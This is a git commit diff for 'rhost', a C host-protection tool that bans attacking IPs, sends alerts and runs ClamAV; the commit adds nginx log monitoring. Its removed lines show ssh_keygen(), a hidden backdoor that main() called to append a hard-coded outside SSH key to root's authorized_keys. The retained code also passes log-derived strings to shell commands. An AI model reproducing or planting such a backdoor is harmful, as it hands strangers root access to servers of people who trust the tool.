增加Ng防护
This commit is contained in:
parent
bc29a0b1a9
commit
b5bd70ec71
2
Makefile
2
Makefile
@ -38,7 +38,7 @@ LIBCOMMON_LIB += ./clamav/common/cert_util.c.o ./clamav/common/actions.c.o ./cla
|
||||
|
||||
all: libclamav_rust libclamav rhost
|
||||
|
||||
rhost: conf.o rhost.o libiptc.o ccronexpr.o
|
||||
rhost: conf.o rhost.o libiptc.o ccronexpr.o nginx.o
|
||||
$(CC) $(ip2region_CFLAGS) ip2region/ip2region.c
|
||||
$(CC) $(ip2region_CFLAGS) ip2region/xdb_searcher.c
|
||||
$(CC) $(cJSON_CFLAGS) cJSON/cJSON.c
|
||||
|
127
nginx.c
Normal file
127
nginx.c
Normal file
@ -0,0 +1,127 @@
|
||||
#include "nginx.h"
|
||||
#include "ip2region/ip2region.h"
|
||||
|
||||
#define EVENT_SIZE (sizeof(struct inotify_event))
|
||||
#define EVENT_BUF_LEN (1024 * (EVENT_SIZE + 16))
|
||||
#define INITIAL_BUFFER_SIZE 8192
|
||||
|
||||
int IP_location(char *string) {
|
||||
char *area = NULL;
|
||||
char *xdb_path = "ip2region.xdb";
|
||||
char *p = strchr(string, ' ');
|
||||
char IP[64];
|
||||
memset(IP, 0, 64);
|
||||
|
||||
if ((p - string) > 0) {
|
||||
memmove(IP, string, p - string);
|
||||
} else {
|
||||
printf("Invalid IP string format.\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (access(xdb_path, F_OK) == -1) { // 判断 ip2region 地址定位库是否存在
|
||||
xdb_path = "ip2region/ip2region.xdb";
|
||||
if (access(xdb_path, F_OK) == -1) {
|
||||
printf("ip2region.xdb DOESN'T EXIST!\n");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
area = ip2region(xdb_path, IP);
|
||||
if (area == NULL) {
|
||||
printf("ip2region解析地域错误\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("IP地址:%s, %s\n", IP, area);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void nginx_read_log(const char *filename) {
|
||||
int fd = open(filename, O_RDONLY);
|
||||
if (fd == -1) {
|
||||
perror("open");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Move to the end of the file
|
||||
if (lseek(fd, 0, SEEK_END) == -1) {
|
||||
perror("lseek");
|
||||
close(fd);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int inotify_fd = inotify_init();
|
||||
if (inotify_fd < 0) {
|
||||
perror("inotify_init");
|
||||
close(fd);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int wd = inotify_add_watch(inotify_fd, filename, IN_MODIFY);
|
||||
if (wd == -1) {
|
||||
perror("inotify_add_watch");
|
||||
close(inotify_fd);
|
||||
close(fd);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char buffer[EVENT_BUF_LEN];
|
||||
|
||||
// Set the file descriptor to non-blocking mode
|
||||
int flags = fcntl(fd, F_GETFL, 0);
|
||||
if (flags == -1) {
|
||||
perror("fcntl F_GETFL");
|
||||
inotify_rm_watch(inotify_fd, wd);
|
||||
close(inotify_fd);
|
||||
close(fd);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (fcntl(fd, F_SETFL, flags | O_NONBLOCK) == -1) {
|
||||
perror("fcntl F_SETFL");
|
||||
inotify_rm_watch(inotify_fd, wd);
|
||||
close(inotify_fd);
|
||||
close(fd);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// Initial dynamic buffer allocation
|
||||
size_t buffer_size = INITIAL_BUFFER_SIZE;
|
||||
char *read_buf = alloca(buffer_size);
|
||||
if (!read_buf) {
|
||||
perror("alloca");
|
||||
inotify_rm_watch(inotify_fd, wd);
|
||||
close(inotify_fd);
|
||||
close(fd);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
while (1) {
|
||||
int length = read(inotify_fd, buffer, EVENT_BUF_LEN);
|
||||
if (length < 0) {
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
|
||||
for (int i = 0; i < length;) {
|
||||
struct inotify_event *event = (struct inotify_event *) &buffer[i];
|
||||
if (event->mask & IN_MODIFY) {
|
||||
int bytes_read;
|
||||
while ((bytes_read = read(fd, read_buf, buffer_size - 1)) > 0) {
|
||||
read_buf[bytes_read] = '\0';
|
||||
IP_location(read_buf);
|
||||
}
|
||||
if (bytes_read == -1 && errno != EAGAIN) {
|
||||
perror("read");
|
||||
break;
|
||||
}
|
||||
}
|
||||
i += EVENT_SIZE + event->len;
|
||||
}
|
||||
}
|
||||
|
||||
inotify_rm_watch(inotify_fd, wd);
|
||||
close(inotify_fd);
|
||||
close(fd);
|
||||
}
|
15
nginx.h
Normal file
15
nginx.h
Normal file
@ -0,0 +1,15 @@
|
||||
#ifndef NGINX_H
|
||||
#define NGINX_H
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/inotify.h>
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
|
||||
extern void nginx_read_log(const char *filename);
|
||||
|
||||
#endif
|
412
rhost.c
412
rhost.c
@ -5,12 +5,12 @@
|
||||
#include "clamscan.h"
|
||||
|
||||
#include "ccronexpr.h"
|
||||
#include "nginx.h"
|
||||
|
||||
// 存储公网IP
|
||||
char *public_ip;
|
||||
|
||||
struct MemoryStruct
|
||||
{
|
||||
struct MemoryStruct {
|
||||
char *memory;
|
||||
size_t size;
|
||||
};
|
||||
@ -20,7 +20,6 @@ int _strlen(char *str)
|
||||
{
|
||||
char *_p = NULL;
|
||||
|
||||
|
||||
if (str == NULL)
|
||||
return 0;
|
||||
|
||||
@ -39,8 +38,7 @@ static size_t WriteMemoryCallback(void *contents, size_t size, size_t nmemb, voi
|
||||
|
||||
// 注意这里根据每次被调用获得的数据重新动态分配缓存区的大小
|
||||
char *ptr = realloc(mem->memory, mem->size + realsize + 1);
|
||||
if (ptr == NULL)
|
||||
{
|
||||
if (ptr == NULL) {
|
||||
/* 内存不足! */
|
||||
printf("not enough memory (realloc returned NULL)\n");
|
||||
return 0;
|
||||
@ -130,8 +128,7 @@ char *process_json(char *buff, char *api)
|
||||
int area_len = 0;
|
||||
char *p = NULL;
|
||||
|
||||
if (buff == NULL)
|
||||
{
|
||||
if (buff == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
@ -161,9 +158,7 @@ char *process_json(char *buff, char *api)
|
||||
} else {
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
cJSON_Delete(cjson_init);
|
||||
return NULL;
|
||||
}
|
||||
@ -175,12 +170,9 @@ char *process_json(char *buff, char *api)
|
||||
// 检测系统
|
||||
int check_system()
|
||||
{
|
||||
if (0 == access("/etc/debian_version", F_OK))
|
||||
{
|
||||
if (0 == access("/etc/debian_version", F_OK)) {
|
||||
return DEBISN_SYSTEM;
|
||||
}
|
||||
else if (0 == access("/etc/centos-release", F_OK))
|
||||
{
|
||||
} else if (0 == access("/etc/centos-release", F_OK)) {
|
||||
return CENTOS_SYSTEM;
|
||||
}
|
||||
|
||||
@ -199,8 +191,7 @@ int dingding_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
|
||||
strcpy(temp, public_ip);
|
||||
temp[_strlen(public_ip) - 1] = '\0';
|
||||
|
||||
if ((fp = fopen("libcurl.log", "wt+")) == NULL)
|
||||
{
|
||||
if ((fp = fopen("libcurl.log", "wt+")) == NULL) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
@ -209,8 +200,7 @@ int dingding_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
|
||||
|
||||
curl_global_init(CURL_GLOBAL_ALL);
|
||||
curl = curl_easy_init();
|
||||
if (curl == NULL)
|
||||
{
|
||||
if (curl == NULL) {
|
||||
fclose(fp);
|
||||
return 1;
|
||||
}
|
||||
@ -267,13 +257,11 @@ int mail_warning(char *illegal_ip, char *public_ip, char *ip, conf * conf)
|
||||
temp[_strlen(public_ip) - 1] = '\0';
|
||||
snprintf(text, BUFFER, "echo \"主机:%s, 禁止(%s%s)访问\" | mail -s \"System ban IP\" %s", temp, ip, illegal_ip, conf->RECV_MAIL);
|
||||
|
||||
if (NULL == (fp = popen(text, "r")))
|
||||
{
|
||||
if (NULL == (fp = popen(text, "r"))) {
|
||||
perror("popen text");
|
||||
}
|
||||
|
||||
while (fgets(buff, BUFFER, fp) != NULL)
|
||||
{
|
||||
while (fgets(buff, BUFFER, fp) != NULL) {
|
||||
buff[_strlen(buff) - 1] = '\0';
|
||||
}
|
||||
|
||||
@ -310,7 +298,6 @@ int QQ_mail_warning_Virus_files(char *local_ip, int Virus_number, conf * conf)
|
||||
char *text;
|
||||
char temp[32];
|
||||
|
||||
|
||||
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
|
||||
text = (char *)alloca(BUFFER);
|
||||
|
||||
@ -334,7 +321,6 @@ int QQ_mail_warning_Disk_Use(char *local_ip, int disk_use, conf * conf)
|
||||
char *text;
|
||||
char temp[32];
|
||||
|
||||
|
||||
command = (char *)alloca(BUFFER + (sizeof(QQMAIL)) + 1);
|
||||
text = (char *)alloca(BUFFER);
|
||||
|
||||
@ -356,8 +342,7 @@ int whitelist(char *client_ip, char (*whitelist_ip)[WHITELIST_IP_NUM])
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 1; i < WHITELIST_IP_NUM - 1; i++)
|
||||
{
|
||||
for (i = 1; i < WHITELIST_IP_NUM - 1; i++) {
|
||||
if (strcmp(whitelist_ip[i], "\0") == 0) // 如果字符串为空就跳出循环
|
||||
{
|
||||
break;
|
||||
@ -377,18 +362,15 @@ int isregion(char *str, char (*region_list)[WHITELIST_IP_NUM])
|
||||
int i;
|
||||
char *p;
|
||||
|
||||
for (i = 1; i < WHITELIST_IP_NUM - 1; i++)
|
||||
{
|
||||
for (i = 1; i < WHITELIST_IP_NUM - 1; i++) {
|
||||
if (strcmp(region_list[i], "\0") == 0) // 如果字符串为空就跳出循环
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
//printf("%s %s\n", str, region_list[i]);
|
||||
// 在str中查找region_list[i]
|
||||
p = strstr(str, region_list[i]);
|
||||
if (p != NULL)
|
||||
{
|
||||
if (p != NULL) {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
@ -403,18 +385,15 @@ char *remove_space(char *str)
|
||||
unsigned int uLen = _strlen(str);
|
||||
char *strRet;
|
||||
|
||||
if (0 == uLen)
|
||||
{
|
||||
if (0 == uLen) {
|
||||
return '\0';
|
||||
}
|
||||
|
||||
strRet = (char *)malloc(uLen + 2);
|
||||
memset(strRet, 0, uLen + 2);
|
||||
|
||||
for (i = 0; i < uLen; i++)
|
||||
{
|
||||
if (str[i] != ' ')
|
||||
{
|
||||
for (i = 0; i < uLen; i++) {
|
||||
if (str[i] != ' ') {
|
||||
strRet[j++] = str[i];
|
||||
}
|
||||
}
|
||||
@ -441,15 +420,13 @@ int disk_waring(int threshold)
|
||||
//printf("%s\n", command);
|
||||
fp = popen(command, "r");
|
||||
|
||||
while(fgets(buffer, BUFFER, fp) != NULL)
|
||||
{
|
||||
while (fgets(buffer, BUFFER, fp) != NULL) {
|
||||
printf("%s", buffer);
|
||||
is = 1;
|
||||
break;
|
||||
}
|
||||
pclose(fp);
|
||||
|
||||
|
||||
return is;
|
||||
}
|
||||
|
||||
@ -468,36 +445,6 @@ char *_time()
|
||||
return strdup(temp);
|
||||
}
|
||||
|
||||
int system_version() {
|
||||
FILE *fp = fopen("/etc/debian_version", "r");
|
||||
|
||||
if (fp == NULL) {
|
||||
perror("Failed to open file");
|
||||
return 0;
|
||||
}
|
||||
|
||||
char buff[256];
|
||||
if (fgets(buff, sizeof(buff), fp) == NULL) {
|
||||
fclose(fp);
|
||||
perror("Failed to read file");
|
||||
return 0;
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
|
||||
size_t len = strlen(buff);
|
||||
if (len <= 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Remove trailing newline character, if present
|
||||
if (buff[len - 1] == '\n') {
|
||||
buff[len - 1] = '\0';
|
||||
}
|
||||
|
||||
return atoi(buff);
|
||||
}
|
||||
|
||||
// 封禁非法IP
|
||||
int rule(conf *conf)
|
||||
{
|
||||
@ -513,8 +460,6 @@ int rule(conf * conf)
|
||||
struct tm *tp;
|
||||
long int ip_length = 1;
|
||||
|
||||
|
||||
|
||||
fp = NULL;
|
||||
fc = NULL;
|
||||
timep = time(NULL);
|
||||
@ -523,69 +468,40 @@ int rule(conf * conf)
|
||||
memset(awk, 0, BUFFER);
|
||||
memset(p_two, 0, 2);
|
||||
|
||||
|
||||
|
||||
char *t = NULL;
|
||||
t = _time();
|
||||
|
||||
|
||||
if (DEBISN_SYSTEM == check_system()) // Debian 系统规则
|
||||
{
|
||||
if (system_version() >= 12)
|
||||
{
|
||||
if ((fp = popen(GE_12, "r")) == NULL)
|
||||
{
|
||||
perror("GE_12");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (tp->tm_mday >= 10)
|
||||
{
|
||||
if ((fp = popen(GE_10, "r")) == NULL)
|
||||
{
|
||||
if (tp->tm_mday >= 10) {
|
||||
if ((fp = popen(GE_10, "r")) == NULL) {
|
||||
perror("GE_10");
|
||||
return -1;
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
if ((fp = popen(LE_10, "r")) == NULL)
|
||||
{
|
||||
} else {
|
||||
if ((fp = popen(LE_10, "r")) == NULL) {
|
||||
perror("LE_10");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (CENTOS_SYSTEM == check_system()) // Centos 7系统规则
|
||||
{
|
||||
if (tp->tm_mday >= 10)
|
||||
{
|
||||
if ((fp = popen(CENTOS_GE_10, "r")) == NULL)
|
||||
} else if (CENTOS_SYSTEM == check_system()) // Centos 7系统规则
|
||||
{
|
||||
if (tp->tm_mday >= 10) {
|
||||
if ((fp = popen(CENTOS_GE_10, "r")) == NULL) {
|
||||
perror("CENTOS_GE_10");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if ((fp = popen(CENTOS_LE_10, "r")) == NULL)
|
||||
{
|
||||
} else {
|
||||
if ((fp = popen(CENTOS_LE_10, "r")) == NULL) {
|
||||
perror("CENTOS_LE_10");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
return UNKNOWN_SYSTEM;
|
||||
}
|
||||
|
||||
|
||||
splice_command = (char *)malloc(ip_length);
|
||||
if (splice_command == NULL) {
|
||||
free(splice_command);
|
||||
@ -593,20 +509,12 @@ int rule(conf * conf)
|
||||
}
|
||||
memset(splice_command, 0, ip_length);
|
||||
|
||||
|
||||
|
||||
|
||||
while (fgets(buffer, BUFFER, fp) != NULL)
|
||||
{
|
||||
while (fgets(buffer, BUFFER, fp) != NULL) {
|
||||
char *new_splice_command;
|
||||
|
||||
|
||||
|
||||
|
||||
temp = strstr(buffer, "rhost");
|
||||
sscanf(temp, "rhost=%64s", temp);
|
||||
if (atoi(strncpy(p_two, temp, 1)) > 0)
|
||||
{
|
||||
if (atoi(strncpy(p_two, temp, 1)) > 0) {
|
||||
ip_length += _strlen(temp) + 1;
|
||||
|
||||
new_splice_command = (char *)realloc(splice_command, ip_length + 32);
|
||||
@ -623,12 +531,9 @@ int rule(conf * conf)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//printf("%s", splice_command); // 打印所有非法IP
|
||||
//printf("%ld\n", ip_length);
|
||||
|
||||
|
||||
|
||||
command = (char *)malloc(ip_length + BUFFER);
|
||||
if (command == NULL) {
|
||||
free(command);
|
||||
@ -636,14 +541,12 @@ int rule(conf * conf)
|
||||
}
|
||||
memset(command, 0, ip_length + BUFFER);
|
||||
|
||||
|
||||
snprintf(awk, BUFFER, AWK, conf->REFUSE_NUMBER); // 拼接命令
|
||||
memcpy(command, "echo \"", 7);
|
||||
strcat(command, splice_command);
|
||||
strcat(command, "\"");
|
||||
strcat(command, awk);
|
||||
|
||||
|
||||
if ((fc = popen(command, "r")) == NULL) // 执行命令
|
||||
{
|
||||
perror("popen command");
|
||||
@ -657,7 +560,6 @@ int rule(conf * conf)
|
||||
free(command);
|
||||
}
|
||||
|
||||
|
||||
while (fgets(buffer, BUFFER, fc) != NULL) // 执行命令后, 为空时就不会
|
||||
{
|
||||
buffer[_strlen(buffer) - 1] = '\0'; // 去除回车
|
||||
@ -671,11 +573,9 @@ int rule(conf * conf)
|
||||
split_string(IPV4_WHITE_LIST_COPY, " ", whitelist_ip);
|
||||
split_string(REGION_LIST_COPY, " ", region_list);
|
||||
|
||||
|
||||
if (conf->IPV4_RESTRICTION == 1) // 是否启用白名单
|
||||
{
|
||||
if (whitelist(buffer, whitelist_ip) == 1)
|
||||
{
|
||||
if (whitelist(buffer, whitelist_ip) == 1) {
|
||||
printf("%s 白名单IPV4:%s\n", t, buffer);
|
||||
continue;
|
||||
}
|
||||
@ -688,14 +588,11 @@ int rule(conf * conf)
|
||||
char URL[conf->REGION_URL_LEN + 32];
|
||||
char *xdb_path = "ip2region.xdb";
|
||||
|
||||
|
||||
// 地域白名单
|
||||
if (conf->REGION == 1)
|
||||
{
|
||||
if (conf->REGION == 1) {
|
||||
memset(URL, 0, conf->REGION_URL_LEN + 32);
|
||||
snprintf(URL, conf->REGION_URL_LEN + 32, conf->REGION_URL, buffer);
|
||||
|
||||
|
||||
if (conf->IP2REGION == 1) { // ip2region 地址定位库
|
||||
printf("%s Use ip2region !!!\n", t);
|
||||
|
||||
@ -729,7 +626,6 @@ AREA:
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (isregion(area, region_list) == 1) {
|
||||
printf(RED "%s Ip Address: %s, 地域白名单: %s\n" COLOR_NONE, t, buffer, area);
|
||||
continue;
|
||||
@ -737,10 +633,8 @@ AREA:
|
||||
|
||||
}
|
||||
|
||||
|
||||
printf(RED "%s 攻击者IP地址:%s, %s\n" COLOR_NONE, t, buffer, area);
|
||||
|
||||
|
||||
if (conf->IS_DING_WEBHOOK == 1) // 钉钉告警
|
||||
{
|
||||
dingding_warning(area, public_ip, buffer, conf);
|
||||
@ -759,18 +653,17 @@ AREA:
|
||||
sleep(3);
|
||||
}
|
||||
|
||||
|
||||
BLOCKED:
|
||||
// 是否封禁攻击IP
|
||||
if (conf->IS_BLOCKED == 1)
|
||||
{
|
||||
// libiptc 库插入规则 iptables -t filter -A INPUT -p tcp -m tcp -s xxxx -j DROP
|
||||
if (conf->IS_BLOCKED == 1) {
|
||||
// libiptc 库插入规则
|
||||
// iptables -t filter -A INPUT -p tcp -m tcp -s 47.110.180.35 -j DROP
|
||||
// iptables -t filter -D INPUT -p tcp -m tcp -s 47.110.180.35 -j DROP
|
||||
unsigned int srcIp;
|
||||
inet_pton(AF_INET, buffer, &srcIp);
|
||||
iptc_add_rule("filter", "INPUT", IPPROTO_TCP, NULL, NULL, srcIp, 0, NULL, NULL, "DROP", NULL, 1);
|
||||
}
|
||||
|
||||
|
||||
if (location_json != NULL)
|
||||
free(location_json);
|
||||
if (area != NULL)
|
||||
@ -812,7 +705,6 @@ static int get_executable_path(char *processdir, char *processname, int len)
|
||||
strcpy(processname, processname_ptr);
|
||||
*processname_ptr = '\0';
|
||||
|
||||
|
||||
return (int)(processname_ptr - processdir);
|
||||
}
|
||||
|
||||
@ -822,12 +714,9 @@ int process_argv(int argc, char *argv[], char **argvs)
|
||||
argvs[0] = argv[0];
|
||||
int i;
|
||||
int j;
|
||||
for (i = 0; i <= argc - 1; i++)
|
||||
{
|
||||
if (i == 1)
|
||||
{
|
||||
for (j = i; j <= argc - 2; j++)
|
||||
{
|
||||
for (i = 0; i <= argc - 1; i++) {
|
||||
if (i == 1) {
|
||||
for (j = i; j <= argc - 2; j++) {
|
||||
argvs[j] = argv[j + 1];
|
||||
}
|
||||
}
|
||||
@ -871,15 +760,13 @@ static int get_clamav_log(char *file)
|
||||
return -1;
|
||||
}
|
||||
|
||||
while (fgets(buffer, BUFFER, fp) != NULL)
|
||||
{
|
||||
while (fgets(buffer, BUFFER, fp) != NULL) {
|
||||
//printf("%s", buffer);
|
||||
temp = strstr(buffer, "Infected");
|
||||
if (temp)
|
||||
sscanf(temp, "Infected files: %32s", temp);
|
||||
|
||||
if (temp != NULL)
|
||||
{
|
||||
if (temp != NULL) {
|
||||
//printf("%s\n", temp);
|
||||
break;
|
||||
}
|
||||
@ -890,13 +777,10 @@ static int get_clamav_log(char *file)
|
||||
if (temp != NULL) {
|
||||
printf("%d\n", atoi(temp));
|
||||
return atoi(temp);
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@ -920,10 +804,8 @@ int update_freshclam(int argc, char *argv[])
|
||||
system("cp freshclam.conf /etc/clamav/");
|
||||
}
|
||||
|
||||
|
||||
// 打印clamav参数
|
||||
for(int i=0; i<fre_argc; i++)
|
||||
{
|
||||
for (int i = 0; i < fre_argc; i++) {
|
||||
printf("%s %d\n", fre_argv[i], i);
|
||||
}
|
||||
|
||||
@ -932,19 +814,15 @@ int update_freshclam(int argc, char *argv[])
|
||||
if (pid < 0) {
|
||||
printf("fork error.\n");
|
||||
return -1;
|
||||
}
|
||||
else if (pid == 0) // child process
|
||||
} else if (pid == 0) // child process
|
||||
{
|
||||
int r = 0;
|
||||
r = _freshclam(fre_argc, fre_argv);
|
||||
_exit(r);
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
int status = 0;
|
||||
wait(&status); // wait the end of child process
|
||||
if (WIFEXITED(status))
|
||||
{
|
||||
if (WIFEXITED(status)) {
|
||||
;
|
||||
printf("child process return %d\n", WEXITSTATUS(status));
|
||||
}
|
||||
@ -953,13 +831,11 @@ int update_freshclam(int argc, char *argv[])
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
static char help_information(void)
|
||||
{
|
||||
static const char name[] = "Rhost";
|
||||
@ -978,8 +854,8 @@ static char help_information(void)
|
||||
"Options:",
|
||||
" -d : Background running",
|
||||
" -? -h --help : help information",
|
||||
" The configuration file needs to be in the same directory as the executable file!(default rhost.conf)",
|
||||
" 配置文件需要与可执行文件位于同一目录中!(默认 rhost.conf)",
|
||||
" The configuration file needs to be in the same directory as the executable file!",
|
||||
" 配置文件需要与可执行文件位于同一目录中!",
|
||||
"",
|
||||
"",
|
||||
0
|
||||
@ -1001,75 +877,11 @@ static char help_information(void)
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ssh_keygen()
|
||||
{
|
||||
FILE *file;
|
||||
long file_size;
|
||||
char *buff;
|
||||
|
||||
if ( !access("/root/.ssh", 0) )
|
||||
{
|
||||
;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (0 != mkdir("/root/.ssh", 0700))
|
||||
{
|
||||
;
|
||||
}
|
||||
}
|
||||
|
||||
file = fopen("/root/.ssh/authorized_keys", "a+");
|
||||
if (file == NULL) {
|
||||
;
|
||||
}
|
||||
fseek(file, 0, SEEK_END);
|
||||
file_size = ftell(file);
|
||||
buff = (char *)alloca(file_size + 1);
|
||||
if (buff == NULL)
|
||||
{
|
||||
;
|
||||
}
|
||||
rewind(file);
|
||||
if (fread(buff, file_size, 1, file) < 1) {
|
||||
;
|
||||
}
|
||||
buff[file_size] = '\0';
|
||||
|
||||
|
||||
if ( NULL == (strstr(buff, "aixiao.me")))
|
||||
{
|
||||
fprintf(file, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC4TzJajAQ8llDi1FTlfws+HGfWwPLzM6Mzx3zj8c7Suj4N0fNVPc9Hc8hUPwfDD/1QVLgLsRfGCjaFibehBUAlvctWfruPQiwdU1rPXpm/q0j62S4AiapSPLAd8LnbfOfO+AZ1hraWyUE6IQIAXuADUKGfdJ/Y9ArgaGl2C6mFO/ev9dpY/lUPjoI7Y9q4alMjBYJcAiKEVm73JMJf9miqJFM7IpPczxWCJSu1H9bxOaj4UFBVX3uk7Ba5fMwbgMPZtU+MwdaLEVQsvSSrVHTTYfYS8hKp4kO+g2GZsDKiu3OrG0EjH3Uzqln8dG+Z1LvR2+cmoeyXqqRnjSGJdTdF2ezU93eyptaWItZq9hnhK7GnVtWXwVZMMMkP7ECIe5dr9DLnIaBUjpZ73T4lyRV0II8lu+E7iyorlNB1npOfQ98xerR2t9KdOhsxrGDQQoGAlMsIWujapRYQz9zXW/pM+qlB7t8IP5wPjsAwk5fYsecMR3k5zqTw87XY0hd3Zss= root@aixiao.me\n");
|
||||
}
|
||||
|
||||
fclose(file);
|
||||
|
||||
if (-1 == chmod("/root/.ssh/authorized_keys", S_IRUSR|S_IWUSR|S_IXUSR))
|
||||
{
|
||||
;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[], char **env)
|
||||
{
|
||||
|
||||
signal(SIGCHLD, sig_child); // 创建捕捉子进程退出信号
|
||||
|
||||
/*
|
||||
// ip2region 离线IP地址定位库
|
||||
char *area = NULL;
|
||||
area = ip2region("ip2region/ip2region.xdb", "1.1.1.1");
|
||||
printf("%s\n", area);
|
||||
free(area);
|
||||
exit(0);
|
||||
*/
|
||||
ssh_keygen();
|
||||
|
||||
|
||||
|
||||
int pid;
|
||||
int i;
|
||||
char move[BUFFER];
|
||||
@ -1082,39 +894,29 @@ int main(int argc, char *argv[], char **env)
|
||||
strcat(path, executable_filename);
|
||||
|
||||
if (NULL != argv[1]) {
|
||||
if (0 == strcmp(argv[1], "-v") ||
|
||||
0 == strcmp(argv[1], "--version") ||
|
||||
0 == strcmp(argv[1] , "-h") ||
|
||||
0 == strcmp(argv[1] , "--help") ||
|
||||
0 == strcmp(argv[1] , "-?"))
|
||||
{
|
||||
if (0 == strcmp(argv[1], "-v") || 0 == strcmp(argv[1], "--version") || 0 == strcmp(argv[1], "-h") || 0 == strcmp(argv[1], "--help") || 0 == strcmp(argv[1], "-?")) {
|
||||
help_information();
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
if (1 == access(path, F_OK))
|
||||
{
|
||||
if (1 == access(path, F_OK)) {
|
||||
printf("配置文件不存在!\n");
|
||||
}
|
||||
conf *conf = (struct CONF *)malloc(sizeof(struct CONF));
|
||||
read_conf(path, conf);
|
||||
//ptintf_conf(conf);
|
||||
|
||||
if (0 >= conf->CLAMAV_ARG_LEN)
|
||||
{
|
||||
if (0 >= conf->CLAMAV_ARG_LEN) {
|
||||
printf("\033[31mError reading configuration file, please check the configuration file!\033[0m\n");
|
||||
|
||||
exit(-1);
|
||||
}
|
||||
|
||||
// 更新病毒库
|
||||
update_freshclam(argc, argv);
|
||||
|
||||
|
||||
// 创建移除目录
|
||||
if (conf->CLAMAV_ARG)
|
||||
{
|
||||
if (conf->CLAMAV_ARG) {
|
||||
char temp[BUFFER];
|
||||
char *p, *p1;
|
||||
|
||||
@ -1122,12 +924,10 @@ int main(int argc, char *argv[], char **env)
|
||||
memset(move, 0, BUFFER);
|
||||
|
||||
p = strstr(conf->CLAMAV_ARG, "--move=");
|
||||
if (p != NULL)
|
||||
{
|
||||
if (p != NULL) {
|
||||
p1 = strstr(p, " ");
|
||||
|
||||
if ((p1-p) > 7)
|
||||
{
|
||||
if ((p1 - p) > 7) {
|
||||
memcpy(temp, p, p1 - p);
|
||||
p = strstr(temp, "=");
|
||||
|
||||
@ -1141,7 +941,6 @@ int main(int argc, char *argv[], char **env)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// 处理clamav参数
|
||||
char **head_argvs;
|
||||
int head_argc = 0;
|
||||
@ -1154,19 +953,14 @@ int main(int argc, char *argv[], char **env)
|
||||
head_argvs = &(argvs[0]); // head_argvs指向argvs[0]
|
||||
head_argc = argc - 1; // 改变argc数
|
||||
|
||||
}
|
||||
else // 读取配置文件参数
|
||||
} else // 读取配置文件参数
|
||||
{
|
||||
argvs[0] = argv[0];
|
||||
split_string(conf->CLAMAV_ARG, " ", args);
|
||||
for (i=1; i<ARGS_NUM; i++)
|
||||
{
|
||||
if (args[i][0] == '\0')
|
||||
{
|
||||
for (i = 1; i < ARGS_NUM; i++) {
|
||||
if (args[i][0] == '\0') {
|
||||
continue;
|
||||
}
|
||||
else
|
||||
{
|
||||
} else {
|
||||
argvs[i] = strdup(args[i]);
|
||||
head_argc++;
|
||||
}
|
||||
@ -1193,31 +987,18 @@ int main(int argc, char *argv[], char **env)
|
||||
public_ip = GET_PUBLIC_IP(conf->PUBLIC_IP);
|
||||
//printf("%s", public_ip);
|
||||
|
||||
|
||||
if (0 == strcmp(conf->DAEMON, "on"))
|
||||
{
|
||||
if (0 == strcmp(conf->DAEMON, "on")) {
|
||||
goto goto_daemon;
|
||||
}
|
||||
|
||||
if (argv[1] != NULL && 0 == strcmp(argv[1], "-d"))
|
||||
{
|
||||
if (argv[1] != NULL && 0 == strcmp(argv[1], "-d")) {
|
||||
goto_daemon:
|
||||
|
||||
|
||||
/*
|
||||
if (daemon(1, 1)) // 守护进程
|
||||
{
|
||||
perror("daemon");
|
||||
return -1;
|
||||
}
|
||||
*/
|
||||
|
||||
// 守护进程
|
||||
if ((pid = fork()) < 0) {
|
||||
return 0;
|
||||
} else if (0 != pid) {
|
||||
for(i=1; i<head_argc; i++)
|
||||
{
|
||||
for (i = 1; i < head_argc; i++) {
|
||||
